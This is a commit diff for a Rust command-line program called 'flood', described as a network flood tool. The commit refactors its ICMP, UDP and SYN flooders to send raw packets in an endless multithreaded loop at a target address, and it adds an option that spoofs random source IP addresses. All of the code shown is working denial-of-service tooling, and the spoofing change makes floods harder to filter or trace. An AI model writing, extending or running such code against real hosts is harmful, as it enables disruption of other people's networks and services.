refactoring + rand source option

Cargo.toml

@@ -1,6 +1,6 @@
 [package]
 name = "flood"
-version = "0.3.2"
+version = "0.3.3"
 edition = "2021"
 authors = ["vvh413"]
 description = "Network flood tool"

src/cli.rs

@@ -9,6 +9,12 @@ pub struct Cli {
   #[command(subcommand)]
   pub command: Command,
 
+  #[command(flatten)]
+  pub global: GlobalArgs,
+}
+
+#[derive(Args, Clone)]
+pub struct GlobalArgs {
   /// Number of threads
   #[arg(short, long, default_value_t = 3)]
   pub threads: usize,
@@ -18,7 +24,7 @@ pub struct Cli {
   pub delay: u64,
 }
 
-#[derive(Subcommand)]
+#[derive(Subcommand, Clone)]
 pub enum Command {
   /// ICMP (ping) flood
   Icmp(IcmpArgs),
@@ -28,24 +34,30 @@ pub enum Command {
   Syn(SynArgs),
 }
 
-#[derive(Args, Clone)]
-pub struct IcmpArgs {
+#[derive(Args, Clone, Debug)]
+pub struct CommonArgs {
   /// Destination address
   pub host: Ipv4Addr,
 
   /// Packet size in bytes
   #[arg(short, long, default_value_t = 1471)]
   pub size: usize,
+
+  /// Random source addr
+  #[arg(short, long)]
+  pub random_source: bool,
 }
 
-#[derive(Args, Clone)]
-pub struct UdpArgs {
-  /// Destination address
-  pub host: Ipv4Addr,
+#[derive(Args, Clone, Debug)]
+pub struct IcmpArgs {
+  #[command(flatten)]
+  pub common: CommonArgs,
+}
 
-  /// Packet size in bytes
-  #[arg(short, long, default_value_t = 8)]
-  pub size: usize,
+#[derive(Args, Clone, Debug)]
+pub struct UdpArgs {
+  #[command(flatten)]
+  pub common: CommonArgs,
 
   /// Destination port to flood (optional)
   #[arg(short, long)]
@@ -56,14 +68,10 @@ pub struct UdpArgs {
   pub src_port: Option<u16>,
 }
 
-#[derive(Args, Clone)]
+#[derive(Args, Clone, Debug)]
 pub struct SynArgs {
-  /// Destination address
-  pub host: Ipv4Addr,
-
-  /// Packet size in bytes
-  #[arg(short, long, default_value_t = 8)]
-  pub size: usize,
+  #[command(flatten)]
+  pub common: CommonArgs,
 
   /// Destination port to flood (optional)
   #[arg(short, long)]

src/flooder/icmp.rs

@@ -1,63 +1,60 @@
 use std::net::Ipv4Addr;
-use std::sync::{Arc, Mutex};
 
-use anyhow::Result;
 use pnet::packet::icmp::echo_request::MutableEchoRequestPacket;
 use pnet::packet::icmp::IcmpTypes;
 use pnet::packet::ip::IpNextHeaderProtocols;
 use pnet::packet::ipv4::MutableIpv4Packet;
 use pnet::packet::MutablePacket;
-use pnet::transport::TransportChannelType::Layer3;
-use pnet::transport::{transport_channel, TransportSender};
+
 use pnet::util;
 
 use crate::cli::IcmpArgs;
+use crate::flooder::IPV4_HEADER_LEN;
+
+use super::{create_ipv4_packet, Packer};
 
-use super::{create_ipv4_packet, Flooder};
+const ICMP_HEADER_LEN: usize = 8;
 
-pub struct IcmpFlooder {
-  tx: Arc<Mutex<TransportSender>>,
-  delay: u64,
+#[derive(Clone)]
+pub struct IcmpPacker {
+  buffer_ip: Vec<u8>,
+  buffer: Vec<u8>,
   args: IcmpArgs,
 }
 
-impl IcmpFlooder {
-  pub fn init(args: IcmpArgs, delay: u64) -> Result<Self> {
-    println!("ICMP flood");
-    println!("Payloading {}-byte packets", args.size);
+impl IcmpPacker {
+  pub fn init(args: IcmpArgs) -> Self {
+    let buffer = vec![0u8; args.common.size + ICMP_HEADER_LEN];
+    let buffer_ip = vec![0u8; buffer.len() + IPV4_HEADER_LEN];
 
-    let (tx, _) = transport_channel(2 << 15, Layer3(IpNextHeaderProtocols::Icmp)).unwrap();
-    Ok(Self {
-      tx: Arc::new(Mutex::new(tx)),
-      delay,
+    Self {
+      buffer_ip,
+      buffer,
       args,
-    })
+    }
   }
 }
 
-impl Flooder for IcmpFlooder {
-  type Args = IcmpArgs;
-  const PROTO_HEADER_LEN: usize = 8;
-
-  fn clone(&self) -> (Arc<Mutex<TransportSender>>, Ipv4Addr, usize, Self::Args, u64) {
-    (
-      self.tx.clone(),
-      self.args.host,
-      self.args.size,
-      self.args.clone(),
-      self.delay,
-    )
-  }
-
-  fn create_packet<'a>(buffer_ip: &'a mut [u8], buffer_icmp: &'a mut [u8], args: Self::Args) -> MutableIpv4Packet<'a> {
-    let mut ipv4_packet = create_ipv4_packet(buffer_ip, args.host, IpNextHeaderProtocols::Icmp, buffer_icmp.len());
-
-    let mut icmp_packet = MutableEchoRequestPacket::new(buffer_icmp).expect("Error creating icmp packet");
+impl Packer for IcmpPacker {
+  fn create_packet(&mut self) -> MutableIpv4Packet {
+    let mut ipv4_packet = create_ipv4_packet(
+      &mut self.buffer_ip,
+      self.args.common.host,
+      IpNextHeaderProtocols::Icmp,
+      self.buffer.len(),
+      self.args.common.random_source,
+    );
+
+    let mut icmp_packet = MutableEchoRequestPacket::new(&mut self.buffer).expect("Error creating icmp packet");
     icmp_packet.set_icmp_type(IcmpTypes::EchoRequest);
     let checksum = util::checksum(icmp_packet.packet_mut(), 1);
     icmp_packet.set_checksum(checksum);
 
     ipv4_packet.set_payload(icmp_packet.packet_mut());
     ipv4_packet
   }
+
+  fn get_addr(&self) -> Ipv4Addr {
+    self.args.common.host
+  }
 }

src/flooder/mod.rs

@@ -2,29 +2,37 @@ pub mod icmp;
 pub mod syn;
 pub mod udp;
 
+use pnet::transport::TransportChannelType::Layer3;
 use std::net::Ipv4Addr;
 use std::sync::{Arc, Mutex};
 use std::thread::JoinHandle;
 use std::time::Duration;
 
-use pnet::packet::ip::IpNextHeaderProtocol;
+use anyhow::Result;
+use pnet::packet::ip::{IpNextHeaderProtocol, IpNextHeaderProtocols};
 use pnet::packet::ipv4::MutableIpv4Packet;
-use pnet::transport::TransportSender;
-// use rand::Rng;
+use pnet::transport::{transport_channel, TransportSender};
+
+use crate::cli::{Command, GlobalArgs};
+use crate::flooder::icmp::IcmpPacker;
+use crate::flooder::syn::SynPacker;
+use crate::flooder::udp::UdpPacker;
+use rand::Rng;
 
 pub const IPV4_HEADER_LEN: usize = 21;
 const TTL: u8 = 64;
 
-// fn rand_ipv4() -> Ipv4Addr {
-//   let buf: [u8; 4] = rand::thread_rng().gen();
-//   Ipv4Addr::from(buf)
-// }
+fn rand_ipv4() -> Ipv4Addr {
+  let buf: [u8; 4] = rand::thread_rng().gen();
+  Ipv4Addr::from(buf)
+}
 
 fn create_ipv4_packet(
   buffer_ip: &mut [u8],
   dest: Ipv4Addr,
   next_level_protocol: IpNextHeaderProtocol,
   payload_size: usize,
+  random_source: bool,
 ) -> MutableIpv4Packet {
   let mut ipv4_packet = MutableIpv4Packet::new(buffer_ip).expect("Error creating ipv4 packet");
   ipv4_packet.set_version(4);
@@ -33,41 +41,78 @@ fn create_ipv4_packet(
   ipv4_packet.set_ttl(TTL);
   ipv4_packet.set_next_level_protocol(next_level_protocol);
   ipv4_packet.set_destination(dest);
-  // ipv4_packet.set_source(rand_ipv4());
+  if random_source {
+    ipv4_packet.set_source(rand_ipv4());
+  }
   ipv4_packet
 }
 
-pub trait Flooder {
-  type Args: Clone + Send + 'static;
-  const PROTO_HEADER_LEN: usize;
+trait Packer {
+  fn create_packet(&mut self) -> MutableIpv4Packet;
+  fn get_addr(&self) -> Ipv4Addr;
+}
 
-  fn clone(&self) -> (Arc<Mutex<TransportSender>>, Ipv4Addr, usize, Self::Args, u64);
+pub struct Flooder {
+  tx: Arc<Mutex<TransportSender>>,
+  args: GlobalArgs,
+  packer: Command,
+}
+
+impl Flooder {
+  pub fn init(global_args: GlobalArgs, packer: Command) -> Result<Self> {
+    println!("Initializing flooder");
 
-  fn start(&self, threads: usize) -> Vec<JoinHandle<()>> {
-    if threads > 1 {
-      println!("Spawning {} threads", threads);
+    let next_proto = match packer.clone() {
+      Command::Icmp(args) => {
+        println!("Payloading {}-byte ICMP packets", args.common.size);
+        IpNextHeaderProtocols::Icmp
+      }
+      Command::Udp(args) => {
+        println!("Payloading {}-byte UDP packets", args.common.size);
+        IpNextHeaderProtocols::Udp
+      }
+      Command::Syn(args) => {
+        println!("Payloading {}-byte SYN packets", args.common.size);
+        IpNextHeaderProtocols::Tcp
+      }
+    };
+
+    let (tx, _) = transport_channel(2 << 15, Layer3(next_proto))?;
+    Ok(Self {
+      tx: Arc::new(Mutex::new(tx)),
+      args: global_args,
+      packer,
+    })
+  }
+
+  pub fn start(&self) -> Vec<JoinHandle<()>> {
+    if self.args.threads > 1 {
+      println!("Spawning {} threads", self.args.threads);
     }
-    (0..threads)
+    (0..self.args.threads)
       .map(|_| {
-        let (tx, addr, size, args, delay) = self.clone();
-        std::thread::spawn(move || Self::flood(tx, addr, size, args, delay))
+        let tx = self.tx.clone();
+        let args = self.args.clone();
+        let packer = self.packer.clone();
+        std::thread::spawn(move || Self::flood(tx, args, packer))
       })
       .collect()
   }
 
-  fn flood(tx: Arc<Mutex<TransportSender>>, addr: Ipv4Addr, size: usize, args: Self::Args, delay: u64) {
-    let mut buffer = vec![0u8; size + Self::PROTO_HEADER_LEN];
-    let mut buffer_ip = vec![0u8; buffer.len() + IPV4_HEADER_LEN];
+  fn flood(tx: Arc<Mutex<TransportSender>>, args: GlobalArgs, packer: Command) {
+    let mut packer = match packer {
+      Command::Icmp(args) => Box::new(IcmpPacker::init(args)) as Box<dyn Packer>,
+      Command::Udp(args) => Box::new(UdpPacker::init(args)) as Box<dyn Packer>,
+      Command::Syn(args) => Box::new(SynPacker::init(args)) as Box<dyn Packer>,
+    };
+    let address = packer.get_addr();
     loop {
-      let args = args.clone();
-      let packet = Self::create_packet(&mut buffer_ip, &mut buffer, args);
+      let packet = packer.create_packet();
       let mut tx = tx.lock().unwrap();
-      if let Err(err) = tx.send_to(packet, std::net::IpAddr::V4(addr)) {
+      if let Err(err) = tx.send_to(packet, std::net::IpAddr::V4(address)) {
         panic!("{err}");
       }
-      std::thread::sleep(Duration::from_micros(delay))
+      std::thread::sleep(Duration::from_micros(args.delay))
     }
   }
-
-  fn create_packet<'a>(buffer_ip: &'a mut [u8], buffer: &'a mut [u8], args: Self::Args) -> MutableIpv4Packet<'a>;
 }